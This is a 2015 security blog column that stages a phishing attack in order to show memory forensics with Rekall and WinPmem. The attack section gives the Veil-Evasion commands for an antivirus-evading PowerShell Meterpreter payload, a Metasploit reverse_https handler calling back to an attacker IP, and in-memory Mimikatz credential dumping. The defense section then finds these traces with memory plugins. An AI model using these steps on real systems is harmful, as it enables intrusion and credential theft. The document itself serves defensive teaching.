Friday, May 01, 2015

There is a standalone exe with all dependencies met,
available for Windows

Introduction

This month represents our annual infosec tools edition,
and I’ve got a full scenario queued up for you. We’re running with a vignette based
in absolute reality. When your organizations are attacked (you already have
been) and a compromise occurs (assume it will) it may well follow a script (pun
intended) something like this. The most important lesson to be learned here is
how to assess attacks of this nature, recognizing that little or none of the
following activity will occur on the file system, instead running in memory. When
we covered Volatility in September 2011 we invited readers to embrace memory
analysis as an absolutely critical capability for incident responders and
forensic analysts. This month, in a similar vein, we’ll explore Rekall. The
project’s point man, Michael Cohen branched Volatility, aka the scudette branch,
in December 2011, as a Technology Preview. In December 2013, it was completely
forked and became Rekall to allow inclusion in GRR as well
as methods for memory acquisition, and to advance the state of the art in
memory analysis. The 2nd of April, 2015, saw the release of Rekall 1.3.1 Dammastock, named
for Dammastock Mountain in the Swiss Alps. An update release to 1.3.2 was
posted to Github 26 APR 2015.

Michael provided personal insight into his process and
philosophy, which I’ll share verbatim in part here:

“For me memory
analysis is such an exciting field. As a field it is wedged between so many
other disciplines - such as reverse engineering, operating systems, data
structures and algorithms. Rekall as a framework requires expertise in all
these fields and more. It is exciting for me to put memory analysis to use in
new ways. When we first started experimenting with live analysis I was
surprised how reliable and stable this was. No need to take and manage large
memory images all the time. The best part was that we could just run remote
analysis for triage using a tool like GRR - so now we could run the analysis
not on one machine at the time but several thousand at a time! Then, when we
added virtual machine introspection support we could run memory analysis on the
VM guest from outside without any special support in the hypervisor - and it
just worked!”

While we won’t cover GRR here, recognize that the ability
to conduct live memory analysis across thousands of machines, physical or
virtual, without impacting stability on target systems is a massive boon for
datacenter and cloud operators.

Scenario Overview

We start with the assertion that the red team’s attack
graph is the blue team’s kill chain.

Per Captain Obvious: The
better defenders (blue team) understand attacker methods (red team) the more
able they are to defend against them. Conversely, red teamers who are aware of
blue team detection and analysis tactics, the more readily they can evade them.

As we peel back this scenario, we’ll explore both sides
of the fight; I’ll walk you through the entire process including attack and
detection. I’ll evade and exfiltrate, then detect and define.

As you might imagine the attack starts with a targeted
phishing attack. We won’t linger here, you’ve all seen the like. The key take
away for red and blue, the more enticing the lure, the more numerous the bites.
Surveys promising rewards are particularly successful, everyone wants to “win”
something, and sadly, many are willing to click and execute payloads to achieve
their goal. These folks are the red team’s best friend and the blue team’s
bane. Once the payload is delivered and executed for an initial foothold, the
focus moves to escalation of privilege if necessary and acquisition of
artifacts for pivoting and exploration of key terrain. With the right artifacts
(credentials, hashes), causing effect becomes trivial, and often leads to total
compromise. For this exercise, we’ll assume we’ve compromised a user who is
running their system with administrative privileges, which sadly remains all
too common. With some great PowerShell and the omniscient and almighty
Mimikatz, the victim’s network can be your playground. I’ll show you how.

ATTACK

Keep in mind, I’m going into some detail here regarding
attack methods so we can then play them back from the defender’s perspective
with Rekall, WinPmem, and VolDiff.

Veil

All good phishing attacks need a great payload, and one
of the best ways to ensure you deliver one is Christopher Truncer’s (@ChrisTruncer)
Veil-Evasion,
part of the Veil-Framework. The most important aspect of Veil use is creating
payload that evade antimalware detection. This limits attack awareness for the
monitoring and incident response teams as no initial alerts are generated.
While the payload does land on the victim’s file system, it’s not likely to end
up quarantined or deleted, happily delivering its expected functionality.

I installed Veil-Evasion on my Kali VM easily:

1)apt-get install veil

2)cd /usr/share/veil-evasion/setup

3)./setup.sh

Thereafter, to run Veil you need only execute veil-evasion.

Veil includes 35 payloads at present, choose list to review them.

I chose 17)
powershell/meterpreter/rev_https as seen in Figure 1.

Figure 1 – Veil payload options

I ran set LHOST
192.168.177.130 for my Kali server acting as the payload handler,
followed by info to confirm, and
generate to create the payload.
I named the payload toolsmith,
which Veil saved as toolsmith.bat.
If you happened to view the .bat file in a text editor you’d see nothing other
than what appears to be a reasonably innocuous PowerShell script with a large
Base64 string. Many a responder would potentially roll right past the file as
part of normal PowerShell administration. In a real-world penetration test,
this would be the payload delivered via spear phishing, ideally to personnel
known to have privileged access to key terrain.

Metasploit

This step assumes our victim has executed our payload in
a time period of our choosing. Obviously set up your handlers before sending
your phishing mail. I will not discuss persistence here for brevity’s sake but
imagine that an attacker will take steps to ensure continued access. Read
Fishnet Security’s How-To: Post-ExPersistence Scripting with PowerSploit & Veil as a great primer on these methods.

Again, on my Kali system I set up a handler for the shell
access created by the Veil payload.

1)cd /opt/metasploit/app/

2)msfconsole

3)use exploit/multi/handler

4)set payload windows/meterpreter/reverse_https

5)set lhost 192.168.177.130

6)set lport 8443

7)set exitonsession false

8)run exploit –j

At this point back
returns you to the root msf >
prompt.

When the victim executes toolsmith.bat,
the handler reacts with a Meterpreter session as seen in Figure 2.

Figure 2 – Victim Meterpreter session

Use sessions –l
to list sessions available, use sessions
-i 2 to use the session seen in Figure 2.

I know have an interactive shell with the victim system
and have some options. As I’m trying to exemplify running almost entirely in
victim memory, I opted to not to copy additional scripts to the victim, but if
I did so it would be another PowerShell script to make use of Joe Bialek’s (@JosephBialek) Invoke-Mimikatz, which
leverages Benjamin Delpy’s (@gentilkiwi) Mimikatz. Instead I pulled down Joe’s
script directly from Github and ran it directly in memory, no file system
attributes.
From the MSF console, I first ran spool /root/meterpreter_output.txt.

A brief explanation here. The shell command spawns a command prompt on the victim
system, getsystem ensures that
you’re running as local system (NT AUTHORITY\SYSTEM) which is important when
you’re using Joe’s script to leverage Mimikatz 2.0 along with Invoke-ReflectivePEInjection to
reflectively load Mimikatz completely in memory. Again our goal here is to conduct
activity such as dumping credentials without ever writing the Mimikatz binary
to the victim file system. Our last line does so in an even craftier manner. To
prevent the need to write out put to the victim file system I used the spool command to write all content
back to a text file on my Kali system. I used PowerShell’s ability to read in
Joe’s script directly from Github into memory and poach credentials
accordingly. Back on my Kali system a review of /root/meterpreter_output.txt confirms the win. Figure 3 displays the results.

Figure 3 – Invoke-Mimikatz for the win!

If I had pivoted from this system and moved to a heavily used
system such as a terminal server or an Exchange server, I may have acquired
domain admin credentials as well. I’d certainly have acquired local admin
credentials, and no one ever uses the same local admin credentials across
multiple systems, right? ;-)

Remember, all this, with the exception of a fairly
innocent looking initial payload, toolsmith.bat, took place in memory. How do
we spot such behavior and defend against it? Time for Rekall and WinPmem,
because they “can remember it for you wholesale!”

DEFENSE

Rekall preparation

Installing Rekall on Windows is as easy as grabbing the
installer from Github, 1.3.2 as this is written.

On x64 systems it will install to C:\Program Files\Rekall, you can add this to your PATH so
you can run Rekall from anywhere.

WinPmem

WinPmem 1.6.2 is the current stable version and WinPmem
2.0 Alpha is the development release. Both are included on the project Github
site. Having an imager embedded with the project is a major benefit, and it’s
developed against with a passion.

Running WinPmem for live response is as simple as winpmem.exe –l to load the driver so
you launch Rekall to mount the winpmem device with rekal -f \\.\pmem (this cannot be changed) for live
memory analysis.

Rekall use

There are a few ways to go about using Rekall. You can
take a full memory image, locally with WinPmem, or remotely with GRR, and bring
the image back to your analysis workstation. You can also interact with memory
on the victim system in real-time live response, which is what differentiates Rekall
from Volatility. On the Windows 7 x64 system I compromised with the attack
described above I first ran winpmem_1.6.2.exe
compromised.raw and shipped the 4GB memory image to my workstation. You
can simply run rekal which will drop you into the interactive shell. As an
example I ran, rekal –f
D:\forensics\memoryImages\toolsmith\compromised.raw, then from the shell
ran various plugins. Alternatively I could have run rekal –f D:\forensics\memoryImages\toolsmith\compromised.raw
netstat at a standard
command prompt for the same results. The interactive shell is the “most
powerful and flexible interface” most importantly because it allows session
management and storage specific to an image analysis.

Suspicious Indicator #1

From the interactive shell I started with the netstat plugin, as I always do. Might
as well see who it talking to who, yes? We’re treated to the instant results
seen in Figure 4.

Figure 4 – Rekall netstat plugin shows PowerShell with connections

Yep, sure enough we see a
connection to our above mention attacker at 192.168.177.130, the “owner” is
attributed to powershell.exe and the PIDs are 1284 and 2396.

Suspicious Indicator #2

With the pstree plugin we can determine the
parent PIDs (PPID) for the PowerShell processes. What’s odd here from a
defender’s perspective is that each PowerShell process seen in the pstree (Figure 5) is spawned from cmd.exe.
While not at all conclusive, it is at least intriguing.

Figure 5 – Rekall pstree plugin shows powershell.exe PPIDs

Suspicious Indicator #3

I used malfind to find hidden or injected
code/DLLs and dump the results to a directory I was scanning with an AV engine.
With malfind pid=1284,
dump_dir="/tmp/" I received feedback on PID 1284 (repeated for
2396), with indications specific to Trojan:Win32/Swrort.A. From the MMPC
write-up: “Trojan:Win32/Swrort.A is a detection for files that try
to connect to a remote server. Once connected, an attacker can perform
malicious routines such as downloading other files. They can be installed from
a malicious site or used as payloads of exploit files. Once executed,
Trojan:Win32/Swrort.A may connect to a remote server using different port
numbers.” Hmm, sound familiar from the attack scenario above? ;-) Note that the
netstat plugin found that
powershell.exe was connecting via 8443 (a “different” port number).

Suspicious Indicator #4

To close the loop on this analysis, I used memdump for a few key reasons. This
plugin dumps all addressable memory in a process, enumerates the process page
tables and writes them out into an external file, creates an index file useful
for finding the related virtual address. I did
so with memdump pid=2396,
dump_dir="/tmp/", ditto for PID
1284. You can use the .dmp output to scan for malware signatures or
other patterns. One such method is strings keyword searches. Given that we are
responding to what we can reasonably assert is an attack via PowerShell a
keyword-based string search is definitely in order. I used my favorite
context-driven strings tool and searched for invoke
against powershell.exe_2396.dmp.
The results paid immediate dividends, I’ve combined to critical matches in Figure 6.

Figure 6 – Strings results for keyword search from memdump output

Suspicions confirmed, this box be owned, aargh!

The strings results on the left show the initial
execution of the PowerShell payload, most notably including the Hidden
attribute and the Bypass execution policy followed by a slew of Base64 that is
the powershell/meterpreter/rev_https payload. The strings results on the
left show when Invoke-Mimikatz.ps1 was actually executed.

Four
quick steps with Rekall and we’ve, in essence, reversed the steps described in
the attack phase.

Remember
too, we could just as easily have conducted these same step on a live victim
system with the same plugins via the following:

In celebration of the annual infosec tools addition,
we’ve definitely gone a bit hog wild, but because it has been for me, I have to
imagine you’ll find this level of process and detail useful. Michael and team
have done wonderful work with Rekall and WinPmem. I’d love to hear your
feedback on your usage, particularly with regard to close, cooperative efforts
between your red and blue teams. If you’re not yet using these tools yet, you
should be, and I recommend a long, hard look at GRR as well. I’d also like to
give more credit where it’s due. In addition to Michael Cohen, other tools and
tactics here were developed and shared by people who deserve recognition. They
include Microsoft’s Mike Fanning, root9b’s Travis Lee (@eelsivart), and Laconicly’s Billy
Rios (@xssniper). Thank you for everything, gentlemen.

Ping me via email or Twitter if you have questions (russ
at holisticinfosec dot org or @holisticinfosec).

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About Me

Russ McRee runs the Blue Team for Microsoft's Windows and Devices Group (WDG). He writes the monthly column toolsmith. Russ has spoken infosec events such Defcon, Black Hat, RSA,and FIRST and has published in the likes of Information Security, Linux Magazine, (IN)SECURE, and SysAdmin. As an advocate of a holistic approach to information security, Russ' website is holisticinfosec.org.
He also serves as a volunteer handler for the SANS Internet Storm Center.